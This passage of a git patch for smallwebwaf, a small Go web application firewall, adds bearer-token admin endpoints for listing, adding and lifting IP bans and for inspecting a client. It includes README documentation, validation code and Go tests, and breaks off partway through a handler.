401, in observe mode too. They go through every check, as the metrics do. POST takes a netblock, not IPv4-mapped and without a zone, or a client's address, a duration or permanent, and a reason, and makes an admin ban even while another lasts. DELETE lifts every active ban covering the address, kept and marked lifted. Bans come back as bans.json entries; a client as clients.json holds it, with its bans. Judgement call: answers leave out bans.json's version field. Judgement call: DELETE takes an address, not a netblock. Rule suppressed: gosec G304 on a test reading bans.json. Model: opus-5-5 --- README.md | 148 +++++-- internal/bans/admin_test.go | 100 +++++ internal/bans/bans.go | 108 ++++- internal/config/config.go | 13 +- internal/config/config_test.go | 46 +- internal/proxy/admin.go | 296 ++++++++++++- internal/proxy/admin_test.go | 535 +++++++++++++++++++++++ internal/proxy/bans.go | 14 +- internal/proxy/bans_test.go | 20 +- internal/proxy/metrics_test.go | 5 + internal/proxy/proxy.go | 8 + internal/proxy/request.go | 8 +- internal/ratelimit/ratelimit.go | 14 + internal/smallwebwaf/smallwebwaf_test.go | 129 +++++- internal/state/state.go | 33 +- 15 files changed, 1373 insertions(+), 104 deletions(-) create mode 100644 internal/proxy/admin_test.go diff --git a/README.md b/README.md index 80f9fa4..a02bcdb 100644 --- a/README.md +++ b/README.md @@ -19,24 +19,26 @@ ledger with the bans you make, keep and lift, the JSON state files with your edits taken in while it runs and the paths the rate limits do not count, which come next in the build order, `observe` mode and the rest of the request log's fields, which come a little later, and the metrics endpoint and the header size -and the idle time as settings, which come last in it. So are two parts of the +and the idle time as settings, which come last in it. So are three parts of the stage after it: the rule files, the first part, with the bans for a clear sign -of attack, and remote log sending. `smallwebwaf` passes each request to the app -and the app's answer back, unchanged, within its timeouts and size limits, works -out each client's address, bans a client that sends too many requests, not -counting those for the paths you choose, refuses a client that comes from a -country you refuse or from a network you refuse, lets the networks you choose -through, checks each request against the rule files and bans a client whose -request is a clear sign of attack, keeps its bans, each client's counters and -history, and GeoJS's answers in JSON files across restarts, takes in your edits -of those files, such as a ban you make, keep or lift, and of the rule files -while it runs, writes a JSON log line for every request, sends its log lines to -a syslog server too if you name one, serves Prometheus metrics to a scraper that -holds the metrics token, and in `observe` mode passes on the requests it would -refuse, logging what it would have done with them. It comes as the image the -app's own image is built on. The rest of the design comes after that, in the -order of the build order in [`SPEC.md`](SPEC.md). The survey of existing tools -that led to the design is in [`EVALUATION.md`](EVALUATION.md). +of attack, the other admin endpoints, the second, and remote log sending. +`smallwebwaf` passes each request to the app and the app's answer back, +unchanged, within its timeouts and size limits, works out each client's address, +bans a client that sends too many requests, not counting those for the paths you +choose, refuses a client that comes from a country you refuse or from a network +you refuse, lets the networks you choose through, checks each request against +the rule files and bans a client whose request is a clear sign of attack, keeps +its bans, each client's counters and history, and GeoJS's answers in JSON files +across restarts, takes in your edits of those files, such as a ban you make, +keep or lift, and of the rule files while it runs, writes a JSON log line for +every request, sends its log lines to a syslog server too if you name one, +serves Prometheus metrics to a scraper that holds the metrics token, lets an +admin who holds the admin token list, add and lift bans and ask what it knows of +a client, and in `observe` mode passes on the requests it would refuse, logging +what it would have done with them. It comes as the image the app's own image is +built on. The rest of the design comes after that, in the order of the build +order in [`SPEC.md`](SPEC.md). The survey of existing tools that led to the +design is in [`EVALUATION.md`](EVALUATION.md). ## Getting started @@ -162,18 +164,23 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of not make it permanent. The bans in `bans.json` are kept, and refuse requests again when `smallwebwaf` next runs in `enforce` mode, as long as they last. The timeouts and size limits still apply, since they protect `smallwebwaf` and - the app themselves, and a request for the metrics without the token is still - answered `401`. It is for trying a configuration before enforcing it. + the app themselves, and a request for one of `smallwebwaf`'s own endpoints + without its token is still answered `401`. It is for trying a configuration + before enforcing it. - Answers `GET /_smallwebwaf/healthz` itself with `200` and `ok`, before any check and without asking the app, for the image's health check. - Answers `GET /_smallwebwaf/metrics` with its metrics (see "Metrics" below) for a request that carries `SWWAF_METRICS_TOKEN` as `Authorization: Bearer `, and with `401` for one that does not. While - the token is unset the metrics answer `404`, as does any other request under - `/_smallwebwaf/`. Unlike the health check, such a request goes through every - check any other request goes through, and is answered where another would be - passed to the app: a banned client stays refused, and each counts toward the - client's rate limits. None of them reaches the app. + the token is unset the metrics answer `404`, as does any request under + `/_smallwebwaf/` that is not for one of its endpoints. Unlike the health + check, such a request goes through every check any other request goes through, + and is answered where another would be passed to the app: a banned client + stays refused, and each counts toward the client's rate limits. None of them + reaches the app. +- Lets an admin list, add and lift bans, and ask what it knows of a client, + through the endpoints `SWWAF_ADMIN_TOKEN` opens, which go through the checks + as the metrics do (see "Admin endpoints" below). - Writes a line in the request log for each request (see "Request log" below). - Sends every line it writes on stdout to a syslog server as well, while `SWWAF_LOG_REMOTE_URL` names one (see "Sending the log to a syslog server" @@ -286,6 +293,12 @@ effective settings are logged at start. (see "Request log" below). An entry naming `Host` or `Transfer-Encoding` stops the start, since Go's HTTP server takes both out of the request; the request's host is the field `host`. +- `SWWAF_ADMIN_TOKEN` (default unset): the token an admin sends for the ban + endpoints and `/_smallwebwaf/clients/` (see "Admin endpoints" below), a + long random value. While it is unset they are off; one shorter than 32 + characters stops the start. The settings logged at start show `********` in + its place. Given as a file, with `SWWAF_ADMIN_TOKEN_FILE`, it can be kept out + of the app's reach (see "Settings given as files" below). - `SWWAF_METRICS_TOKEN` (default unset): the token a scraper sends for the metrics, a long random value. While it is unset the metrics are off; one shorter than 32 characters stops the start. The settings logged at start show @@ -513,13 +526,13 @@ entries by client address, with times in UTC. - `lookups.json`: GeoJS's answers, one to a line, with when GeoJS gave each and when it was last used. -`bans.json` is written `SWWAF_STATE_WRITE_DELAY` after a ban is made or made -permanent, with every such change in between, and every file every -`SWWAF_STATE_COUNTER_INTERVAL` and when `smallwebwaf` stops. Each write goes to -a temporary file in the same directory, which then replaces the file, so a crash -leaves the old file or the new one, whole. A write that fails is logged, and -tried again at the next write. A hard kill loses what changed since the last -write. +`bans.json` is written `SWWAF_STATE_WRITE_DELAY` after a ban is made, lifted +through `DELETE /_smallwebwaf/bans/`, or made permanent, with every such +change in between, and every file every `SWWAF_STATE_COUNTER_INTERVAL` and when +`smallwebwaf` stops. Each write goes to a temporary file in the same directory, +which then replaces the file, so a crash leaves the old file or the new one, +whole. A write that fails is logged, and tried again at the next write. A hard +kill loses what changed since the last write. At start the files are read back: each client keeps its counts, so a restart gives it no fresh allowance, and each ban keeps refusing every client in its @@ -584,6 +597,9 @@ next ban longer; it is kept in `bans.json` with its notes, as any other ban is. To forget a ban altogether, delete its entry: it then refuses nothing either, and does not make the netblock's next ban longer. +The ban endpoints add and lift bans without an edit of the file (see "Admin +endpoints" below). + ## Rule files `smallwebwaf` reads every `*.rules` file in `SWWAF_RULES_DIR`, @@ -677,9 +693,10 @@ other request. No metric carries a client's address. `smallwebwaf_size_and_time_limit_hits_total` by `limit`, the setting whose limit was passed, `smallwebwaf_offences_total` by `kind`, and `smallwebwaf_bans_made_total` by `cause`, `limit`, `attack` or `admin`, the - last for the bans whose `cause` is `admin` that you add to `bans.json` while - `smallwebwaf` runs; `smallwebwaf_active_bans` and - `smallwebwaf_permanent_bans`, neither of which counts a lifted ban. + last for the bans you add through `POST /_smallwebwaf/bans`, and those whose + `cause` is `admin` that you add to `bans.json` while `smallwebwaf` runs; + `smallwebwaf_active_bans` and `smallwebwaf_permanent_bans`, neither of which + counts a lifted ban. - `smallwebwaf_rule_matches_total`: the requests that matched each rule, by `rule_id` and `action`, the rule's own; and `smallwebwaf_rules_loaded`: the rules read from the rule files. @@ -716,6 +733,69 @@ The requests Go's HTTP server ends before `smallwebwaf` sees them (see "Request log") are not counted. The metrics of the features still to come, such as the Core Rule Set, come with them. +## Admin endpoints + +While `SWWAF_ADMIN_TOKEN` is set, `smallwebwaf` answers these requests itself, +on the app's own address and through traefik like any other request, for a +request that carries the token as `Authorization: Bearer `: + +- `GET /_smallwebwaf/bans`: every ban held, past, active and permanent. +- `POST /_smallwebwaf/bans`: bans a netblock, as adding an entry to `bans.json` + does. The body is a JSON object of `netblock`, `duration` and, if you like, + `reason`. `netblock` is a netblock such as `203.0.113.0/24`, or a client's + address, which bans the netblock a ban on that client covers: its IPv4 + address, or the netblock around it that `SWWAF_BAN_SCOPE_V4_PREFIX` sets, or + its IPv6 /64. `duration` is a duration such as `1h` or `7d`, or `permanent`. + The ban starts at once, its `cause` is `admin`, and it is made even while + another ban on the netblock lasts. A body that is not such an object, has + another field, has anything but whitespace after the object, or is longer than + 4 KiB is answered `400`, saying what is wrong, and so is an IPv4-mapped + netblock, such as `::ffff:203.0.113.0/120`, or a value with a zone, such as + `fe80::1%eth0`. +- `DELETE /_smallwebwaf/bans/`: lifts every active ban on a netblock + that ``, an address, is in, as adding `lifted` to its entry in + `bans.json` does, and answers `404` when no ban on it is active. +- `GET /_smallwebwaf/clients/`: what `smallwebwaf` knows of the client at + the address ``: under `client`, the client as `clients.json` holds it, + with its counters and its history, which holds its country as last looked up + and its offences, or `null` when the table of clients does not hold it; and + under `bans`, every ban on a netblock the address is in, with its notes. + +The ban endpoints answer with the bans listed, made or lifted, under `bans`, +each as an entry of `bans.json` (see "State files" above), and a ban they make +or lift is written to `bans.json` `SWWAF_STATE_WRITE_DELAY` later. Refusals, and +the answers to requests that cannot be read, are plain text. + +A request without the token, or with another, such as the metrics token, is +answered `401`, in `observe` mode too. While the token is unset, each of these +answers `404`, as does any request under `/_smallwebwaf/` that is not for one of +its endpoints. Like the metrics, these requests go through every check any other +request goes through, and are answered where another would be passed to the app: +a banned client stays refused, so an admin whose own address is banned lifts +that ban by editing `bans.json`, and each request counts toward the client's +rate limits. A client in `SWWAF_ALLOW_NETS` skips the checks, and still needs +the token. + +With the token in `$TOKEN`, for an app at `https://app.example`: + +```sh +# Every ban. +curl -H "Authorization: Bearer $TOKEN" https://app.example/_smallwebwaf/bans + +# Ban 203.0.113.0/24 for seven days. +curl -H "Authorization: Bearer $TOKEN" \ + --json '{"netblock": "203.0.113.0/24", "duration": "7d", "reason": "probes for logins"}' \ + https://app.example/_smallwebwaf/bans + +# Lift the bans on 203.0.113.9. +curl -H "Authorization: Bearer $TOKEN" -X DELETE \ + https://app.example/_smallwebwaf/bans/203.0.113.9 + +# What smallwebwaf knows of 203.0.113.9. +curl -H "Authorization: Bearer $TOKEN" \ + https://app.example/_smallwebwaf/clients/203.0.113.9 +``` + ## Why Small self-hosted sites now receive a great deal of traffic nobody asked for: diff --git a/internal/bans/admin_test.go b/internal/bans/admin_test.go index abeb990..a7e0704 100644 --- a/internal/bans/admin_test.go +++ b/internal/bans/admin_test.go @@ -184,3 +184,103 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) { ledger.Made(bans.CauseAdmin), ledger.Made(bans.CauseLimit)) } } + +func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) { + t.Parallel() + + netblock := netip.MustParsePrefix("203.0.113.0/24") + ledger := bans.New(defaultRules()) + + // An hour's ban for a broken limit. + ledger.BanForLimit(netblock, midnight(), bans.Notes{}) + wantChanged(t, ledger, true) + + // A minute later an admin bans the netblock for good, named by an + // address in it: that ban is made, and counts the other among the + // earlier bans. + now := midnight().Add(time.Minute) + want := bans.Ban{ + Netblock: netblock, + Start: now, + Cause: bans.CauseAdmin, + Reason: "probes for logins", + Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}}, + } + + got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{}, + "probes for logins") + if got != want { + t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want) + } + + wantChanged(t, ledger, true) + + if made := ledger.Made(bans.CauseAdmin); made != 1 { + t.Errorf("%d bans made by an admin, want 1", made) + } + + // It refuses once the ban for the limit has ended. + ban, banned := ledger.Find(netblock.Addr(), midnight().Add(2*time.Hour)) + if !banned || ban != want { + t.Errorf("after the limit's ban the netblock is under %+v (%t), want %+v", + ban, banned, want) + } +} + +func TestLiftLiftsEveryActiveBanCoveringTheClient(t *testing.T) { + t.Parallel() + + client := netip.MustParseAddr("203.0.113.9") + own := netip.MustParsePrefix("203.0.113.9/32") + wide := netip.MustParsePrefix("203.0.113.0/24") + other := netip.MustParsePrefix("203.0.113.10/32") + + ledger := bans.New(defaultRules()) + ledger.Load([]bans.Ban{ + // Ended an hour ago. + { + Netblock: own, Start: midnight().Add(-2 * time.Hour), + Expires: midnight().Add(-time.Hour), Cause: bans.CauseLimit, + }, + // Active, on the client's address and on its /24. + { + Netblock: own, Start: midnight(), Expires: midnight().Add(time.Hour), + Cause: bans.CauseLimit, + }, + {Netblock: wide, Start: midnight(), Cause: bans.CauseAdmin}, + // Another client's. + {Netblock: other, Start: midnight(), Cause: bans.CauseAdmin}, + }) + + now := midnight().Add(time.Minute) + + lifted := ledger.Lift(client, now) + if len(lifted) != 2 || lifted[0].Lifted != now || lifted[1].Lifted != now { + t.Errorf("lifted %+v, want the two active bans covering the client", lifted) + } + + wantChanged(t, ledger, true) + + if _, banned := ledger.Check(client, now); banned { + t.Error("the client is still banned") + } + + if _, banned := ledger.Check(other.Addr(), now); !banned { + t.Error("the other client's ban was lifted") + } + + // The lifted bans are kept, and the one that had ended is not lifted. + covering := ledger.Covering(client) + if len(covering) != 3 || covering[0].Netblock != wide || + !covering[1].Lifted.IsZero() || covering[2].Lifted != now { + t.Errorf("the bans covering the client are %+v, want the /24's and both "+ + "of its own, the earlier not lifted", covering) + } + + // With none active, nothing is lifted or changed. + if lifted = ledger.Lift(client, now); len(lifted) != 0 { + t.Errorf("lifted %+v again", lifted) + } + + wantChanged(t, ledger, false) +} diff --git a/internal/bans/bans.go b/internal/bans/bans.go index 2b66842..77f0a8e 100644 --- a/internal/bans/bans.go +++ b/internal/bans/bans.go @@ -154,7 +154,8 @@ type Ledger struct { // at most rules.MaxBans. held int // made is how many bans have been made since the start, by cause: by - // the ledger, and by an admin in an edit of bans.json. + // the ledger, and by an admin, through BanForAdmin or in an edit of + // bans.json. made map[string]int // v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6 // netblocks that have been banned. Check looks for a ban at each of @@ -182,9 +183,9 @@ func New(rules Rules) *Ledger { } } -// Changed receives a value after a ban is made or made permanent, so that -// bans.json can be written. Several changes before it is read leave one -// value. +// Changed receives a value after a ban is made, lifted or made permanent, +// so that bans.json can be written. Several changes before it is read +// leave one value. func (l *Ledger) Changed() <-chan struct{} { return l.changed } @@ -267,6 +268,81 @@ func (l *Ledger) BanForAttack(netblock netip.Prefix, now time.Time, notes Notes) return l.ban(netblock, now, CauseAttack, "matched the rule "+notes.RuleID, notes) } +// BanForAdmin bans netblock at now for an admin, with reason, until +// expires, or for good when expires is zero, and returns the ban, whose +// cause is CauseAdmin. Unlike BanForLimit and BanForAttack, it makes the +// ban even while another on netblock is active, since the admin asked +// for this one. The ledger fills in the notes' EarlierBans, and counts +// the ban among those made. +func (l *Ledger) BanForAdmin( + netblock netip.Prefix, now, expires time.Time, reason string, +) Ban { + l.mu.Lock() + defer l.mu.Unlock() + + ban := Ban{ + Netblock: netblock.Masked(), Start: now, Expires: expires, Cause: CauseAdmin, + Reason: reason, + } + + held, found := l.netblocks.Get(ban.Netblock) + if found { + ban.Notes.EarlierBans = earlierBans(*held) + } + + l.add(ban) + l.made[CauseAdmin]++ + l.markChanged() + + return ban +} + +// Lift lifts, at now, every ban active then on a netblock client is in, +// as an admin does, and returns those bans. A lifted ban is kept, refuses +// nothing, and does not make the netblock's next ban longer. +func (l *Ledger) Lift(client netip.Addr, now time.Time) []Ban { + l.mu.Lock() + defer l.mu.Unlock() + + var lifted []Ban + + for _, bans := range l.covering(client) { + for i := range *bans { + ban := &(*bans)[i] + if ban.ActiveAt(now) { + ban.Lifted = now + lifted = append(lifted, *ban) + } + } + } + + if len(lifted) > 0 { + l.markChanged() + } + + return lifted +} + +// Covering returns every ban held on a netblock client is in, active or +// not, sorted by netblock, and each netblock's bans oldest first. It is +// not a request from client, and leaves when the netblocks were last seen +// unchanged. +func (l *Ledger) Covering(client netip.Addr) []Ban { + l.mu.Lock() + defer l.mu.Unlock() + + var held []Ban + for _, bans := range l.covering(client) { + held = append(held, *bans...) + } + + slices.SortStableFunc(held, func(a, b Ban) int { + return a.Netblock.Compare(b.Netblock) + }) + + return held +} + // Bans returns the bans held on netblock, oldest first. It is not a // request from netblock, and leaves when it was last seen unchanged. func (l *Ledger) Bans(netblock netip.Prefix) []Ban { @@ -283,8 +359,8 @@ func (l *Ledger) Bans(netblock netip.Prefix) []Ban { // Made returns how many bans for cause have been made since the start: // for CauseLimit and CauseAttack, by the ledger; for CauseAdmin, by an -// admin in an edit of bans.json, as LoadEdit counts them. The bans read -// from bans.json at the start are not among them. +// admin, with BanForAdmin or in an edit of bans.json, as LoadEdit counts +// them. The bans read from bans.json at the start are not among them. func (l *Ledger) Made(cause string) int { l.mu.Lock() defer l.mu.Unlock() @@ -496,6 +572,26 @@ func (l *Ledger) active(client netip.Addr, now time.Time) *Ban { return nil } +// covering returns the bans of each netblock held that client is in, +// leaving when the netblocks were last seen unchanged. +func (l *Ledger) covering(client netip.Addr) []*[]Ban { + lengths := l.v6Lengths + if client.Is4() { + lengths = l.v4Lengths + } + + var found []*[]Ban + + for _, length := range lengths { + bans, ok := l.netblocks.Peek(netip.PrefixFrom(client, length).Masked()) + if ok { + found = append(found, bans) + } + } + + return found +} + // add adds ban to its netblock's bans, after the last, and makes its // netblock the most recently seen. With MaxBans held, it drops one first, // unless ban's cause is CauseAdmin, which does not count toward MaxBans. diff --git a/internal/config/config.go b/internal/config/config.go index e5552ee..487a8ca 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -129,6 +129,10 @@ type Config struct { // LogRequestHeaders are the request headers whose values the request // log gives, in lower case (SWWAF_LOG_REQUEST_HEADERS). LogRequestHeaders []string + // AdminToken is the bearer token an admin sends for the ban endpoints + // and /_smallwebwaf/clients/ (SWWAF_ADMIN_TOKEN), "" while it is + // unset and they are off. + AdminToken string // MetricsToken is the bearer token a scraper sends for the metrics // (SWWAF_METRICS_TOKEN), "" while it is unset and the metrics are off. // MetricsTopN is how many countries get series of their own in the @@ -274,6 +278,7 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { StateCounterInterval: env.durationNotOff("SWWAF_STATE_COUNTER_INTERVAL", "15m"), LogRequestHeaders: env.headerNames("SWWAF_LOG_REQUEST_HEADERS", "accept,accept-language,accept-encoding,content-type,origin,range"), + AdminToken: env.token("SWWAF_ADMIN_TOKEN"), MetricsToken: env.token("SWWAF_METRICS_TOKEN"), MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"), RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"), @@ -496,7 +501,7 @@ func (e *environment) headerNames(name, defaultValue string) []string { // durationNotOff reads a setting that is a duration and, unlike a // timeout, cannot be off. func (e *environment) durationNotOff(name, defaultValue string) time.Duration { - duration, err := parseDurationNotOff(e.value(name, defaultValue)) + duration, err := ParseDurationNotOff(e.value(name, defaultValue)) e.check(name, err) return duration @@ -732,9 +737,9 @@ func parseCount(value string) (int64, error) { return n, nil } -// parseDurationNotOff reads a duration above zero, as parseDuration does, -// but not off. -func parseDurationNotOff(value string) (time.Duration, error) { +// ParseDurationNotOff reads a duration above zero, as parseDuration does, +// but not off. The ban endpoint reads the duration of a ban with it too. +func ParseDurationNotOff(value string) (time.Duration, error) { duration, err := parseDuration(value) if err != nil || duration == 0 { return 0, fmt.Errorf("%q %w", value, errNotDurationAboveZero) diff --git a/internal/config/config_test.go b/internal/config/config_test.go index 00cf272..d7c6554 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -50,6 +50,7 @@ const ( stateDir = "SWWAF_STATE_DIR" stateWriteDelay = "SWWAF_STATE_WRITE_DELAY" stateCounterInterval = "SWWAF_STATE_COUNTER_INTERVAL" + adminToken = "SWWAF_ADMIN_TOKEN" //nolint:gosec // the setting's name metricsToken = "SWWAF_METRICS_TOKEN" //nolint:gosec // the setting's name metricsTopN = "SWWAF_METRICS_TOP_N" instanceName = "SWWAF_INSTANCE_NAME" @@ -81,8 +82,12 @@ rlG9y/jrJb6ORy3kTLWo2EA0BA67vuI= -----END CERTIFICATE----- ` -// token is a token of 32 characters, the shortest allowed. -const token = "0123456789abcdef0123456789abcdef" +// token is a token of 32 characters, the shortest allowed, and +// otherToken another. +const ( + token = "0123456789abcdef0123456789abcdef" + otherToken = "fedcba9876543210fedcba9876543210" +) // instance is an SWWAF_INSTANCE_NAME that is a valid app name too, and // remoteURL an SWWAF_LOG_REMOTE_URL, for the tests that send the lines. @@ -693,32 +698,40 @@ func TestShortTokenStopsTheStartWithoutShowingIt(t *testing.T) { t.Parallel() // Characters are counted, not bytes: each é takes two. - for _, value := range []string{"", token[1:], strings.Repeat("é", 31)} { - t.Run(value, func(t *testing.T) { - t.Parallel() + for _, name := range []string{adminToken, metricsToken} { + for _, value := range []string{"", token[1:], strings.Repeat("é", 31)} { + t.Run(name+"="+value, func(t *testing.T) { + t.Parallel() - _, err := config.FromEnvironment(environment{metricsToken: value}.lookupEnv) + _, err := config.FromEnvironment(environment{name: value}.lookupEnv) - want := metricsToken + ": is shorter than 32 characters" - if err == nil || err.Error() != want { - t.Errorf("error %v, want %s", err, want) - } - }) + want := name + ": is shorter than 32 characters" + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + }) + } } } -func TestTokenIsLoggedMasked(t *testing.T) { +func TestTokensAreReadAndLoggedMasked(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{metricsToken: token}) + cfg := fromEnvironment(t, environment{adminToken: otherToken, metricsToken: token}) + if cfg.AdminToken != otherToken || cfg.MetricsToken != token { + t.Errorf("admin token %q and metrics token %q, want %q and %q", + cfg.AdminToken, cfg.MetricsToken, otherToken, token) + } var out bytes.Buffer slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) - if strings.Contains(out.String(), token) || - !strings.Contains(out.String(), `"`+metricsToken+`":"********"`) { - t.Errorf("the token is not logged masked: %s", out.String()) + logged := out.String() + if strings.Contains(logged, token) || strings.Contains(logged, otherToken) || + !strings.Contains(logged, `"`+adminToken+`":"********"`) || + !strings.Contains(logged, `"`+metricsToken+`":"********"`) { + t.Errorf("the tokens are not logged masked: %s", logged) } } @@ -901,6 +914,7 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { stateDir: "/var/lib/smallwebwaf", stateWriteDelay: "10s", stateCounterInterval: "15m", + adminToken: "", metricsToken: "", metricsTopN: "50", instanceName: hostname, diff --git a/internal/proxy/admin.go b/internal/proxy/admin.go index 7075ffc..fe4a12d 100644 --- a/internal/proxy/admin.go +++ b/internal/proxy/admin.go @@ -1,26 +1,60 @@ package proxy import ( + "bytes" "crypto/subtle" + "encoding/json" + "errors" + "fmt" + "io" "net/http" + "net/netip" + "os" "strings" + "time" + "sneak.berlin/go/smallwebwaf/internal/bans" + "sneak.berlin/go/smallwebwaf/internal/config" + "sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/requestlog" + "sneak.berlin/go/smallwebwaf/internal/state" +) + +// banBodyMaxBytes is the most of the body of a request to add a ban that +// is read; its three fields need far less. +const banBodyMaxBytes = 4 << 10 + +// permanent is how the log line and the ban endpoint name a ban that +// never ends. +const permanent = "permanent" + +var ( + errNotBanToAdd = errors.New( + "the body is not a JSON object of netblock, duration and reason") + errNotNetblock = errors.New( + "is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24") + errMappedNetblock = errors.New( + "is IPv4-mapped: give the IPv4 netblock, such as 203.0.113.0/24") + errZone = errors.New("has a zone, which a netblock cannot have") + errNotDuration = errors.New( + "is not a duration above zero, such as 1h or 7d, or permanent") + errNotAddress = errors.New("is not an address, such as 203.0.113.9") ) // answerAdmin answers a request for smallwebwaf itself, under -// /_smallwebwaf/, once it has passed the checks: GET MetricsPath with -// SWWAF_METRICS_TOKEN gets the metrics, and without it is refused with -// 401. Any other request gets 404, as the metrics do while -// SWWAF_METRICS_TOKEN is unset. +// /_smallwebwaf/, once it has passed the checks. Each endpoint needs a +// token, sent as Authorization: Bearer : the metrics +// SWWAF_METRICS_TOKEN, the others SWWAF_ADMIN_TOKEN. A request without +// it is refused with 401. An endpoint whose token is unset answers 404, +// as any other request under /_smallwebwaf/ does. func (rq *request) answerAdmin() { rq.line.Action = requestlog.ActionAdmin rq.startClientResponseTimeout() - token := rq.h.config.MetricsToken + token, answer := rq.endpoint() switch { - case token == "" || rq.in.Method != http.MethodGet || rq.in.URL.Path != MetricsPath: + case token == "": http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound) case !hasToken(rq.in, token): rq.out.Header().Set("WWW-Authenticate", "Bearer") @@ -29,7 +63,29 @@ func (rq *request) answerAdmin() { action: requestlog.ActionAdmin, }) default: - rq.h.metrics.ServeHTTP(rq.out, rq.in) + answer() + } +} + +// endpoint returns the token the request's endpoint needs, and what +// answers the request there; "" when there is no such endpoint. +func (rq *request) endpoint() (string, func()) { + cfg := rq.h.config + method, path := rq.in.Method, rq.in.URL.Path + + switch { + case method == http.MethodGet && path == MetricsPath: + return cfg.MetricsToken, func() { rq.h.metrics.ServeHTTP(rq.out, rq.in) } + case method == http.MethodGet && path == BansPath: + return cfg.AdminToken, rq.listBans + case method == http.MethodPost && path == BansPath: + return cfg.AdminToken, rq.addBan + case method == http.MethodDelete && strings.HasPrefix(path, BansPath+"/"): + return cfg.AdminToken, rq.liftBans + case method == http.MethodGet && strings.HasPrefix(path, ClientsPath): + return cfg.AdminToken, rq.showClient + default: + return "", nil } } @@ -41,3 +97,229 @@ func hasToken(r *http.Request, token string) bool { return strings.EqualFold(scheme, "Bearer") && subtle.ConstantTimeCompare([]byte(sent), []byte(token)) == 1 } + +// listBans answers GET BansPath with every ban held. +func (rq *request) listBans() { + rq.answerBans(rq.h.ledger.Snapshot()) +} + +// banToAdd is the body of POST BansPath. +type banToAdd struct { + // Netblock is a netblock, or a client's address, which stands for the + // netblock a ban on that client covers. + Netblock string `json:"netblock"` + // Duration is how long the ban lasts, as a setting gives a duration, + // or permanent. + Duration string `json:"duration"` + Reason string `json:"reason"` +} + +// addBan answers POST BansPath: it bans the netblock the body names, as +// an admin, from now for the duration the body gives, with its reason, +// and answers with that ban. +func (rq *request) addBan() { + // The body must arrive within SWWAF_CLIENT_REQUEST_TIMEOUT, as any + // other request's must. + rq.stopReadingBody(rq.clientRequestDeadline()) + + toAdd, err := rq.readBanToAdd() + if refused := rq.refused.Load(); refused != nil { + rq.answer(*refused) // the body is over SWWAF_REQUEST_MAX_BYTES + + return + } + + if errors.Is(err, os.ErrDeadlineExceeded) { + rq.answer(refusal{ + status: http.StatusRequestTimeout, + action: requestlog.ActionTimedOut, + limit: "SWWAF_CLIENT_REQUEST_TIMEOUT", + }) + + return + } + + var ( + netblock netip.Prefix + expires time.Time + now = rq.h.now() + ) + + if err == nil { + netblock, err = rq.h.banNetblock(toAdd.Netblock) + } + + if err == nil { + expires, err = expiry(toAdd.Duration, now) + } + + if err != nil { + http.Error(rq.out, err.Error(), http.StatusBadRequest) + + return + } + + ban := rq.h.ledger.BanForAdmin(netblock, now, expires, toAdd.Reason) + rq.answerBans([]bans.Ban{ban}) +} + +// readBanToAdd reads the body of POST BansPath: a JSON object with +// nothing but whitespace after it, in at most banBodyMaxBytes. +func (rq *request) readBanToAdd() (banToAdd, error) { + var body io.ReadCloser = http.NoBody + if rq.body != nil { + body = rq.body + } + + data, err := io.ReadAll(http.MaxBytesReader(nil, body, banBodyMaxBytes)) + if err != nil { + return banToAdd{}, fmt.Errorf("%w: %w", errNotBanToAdd, err) + } + + var toAdd banToAdd + + decoder := json.NewDecoder(bytes.NewReader(data)) + decoder.DisallowUnknownFields() + + err = decoder.Decode(&toAdd) + if err != nil { + return banToAdd{}, fmt.Errorf("%w: %w", errNotBanToAdd, err) + } + + // Token returns io.EOF only when nothing but whitespace is left. + _, err = decoder.Token() + if !errors.Is(err, io.EOF) { + return banToAdd{}, fmt.Errorf("%w: more follows the object", errNotBanToAdd) + } + + return toAdd, nil +} + +// banNetblock reads value, a netblock such as 203.0.113.0/24, or a +// client's address, which stands for the netblock a ban on that client +// covers. An IPv4-mapped netblock, such as ::ffff:203.0.113.0/120, is +// refused, since a client's address is looked up as IPv4 and a ban on it +// would refuse nothing, and so is a value with a zone. +func (h *handler) banNetblock(value string) (netip.Prefix, error) { + netblock, err := netip.ParsePrefix(value) + if err == nil { + if netblock.Addr().Is4In6() { + return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errMappedNetblock) + } + + return netblock, nil + } + + // ParsePrefix refuses a zone, but ParseAddr reads the /48 of + // 2001:db8::1%x/48 as part of the zone. + addr, err := netip.ParseAddr(value) + if err != nil { + return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errNotNetblock) + } + + if addr.Zone() != "" { + return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errZone) + } + + return h.netblock(addr), nil +} + +// expiry returns when a ban made at now for duration ends: duration +// later, for a duration as a setting gives one, or zero for permanent. +func expiry(duration string, now time.Time) (time.Time, error) { + if duration == permanent { + return time.Time{}, nil + } + + length, err := config.ParseDurationNotOff(duration) + if err != nil { + return time.Time{}, fmt.Errorf("duration %q %w", duration, errNotDuration) + } + + return now.Add(length), nil +} + +// liftBans answers DELETE BansPath/: it lifts every ban active on +// a netblock the client's address is in, and answers with those bans, or +// with 404 when none is active. +func (rq *request) liftBans() { + client, err := pathAddress(rq.in.URL.Path, BansPath+"/") + if err != nil { + http.Error(rq.out, err.Error(), http.StatusBadRequest) + + return + } + + lifted := rq.h.ledger.Lift(client, rq.h.now()) + if len(lifted) == 0 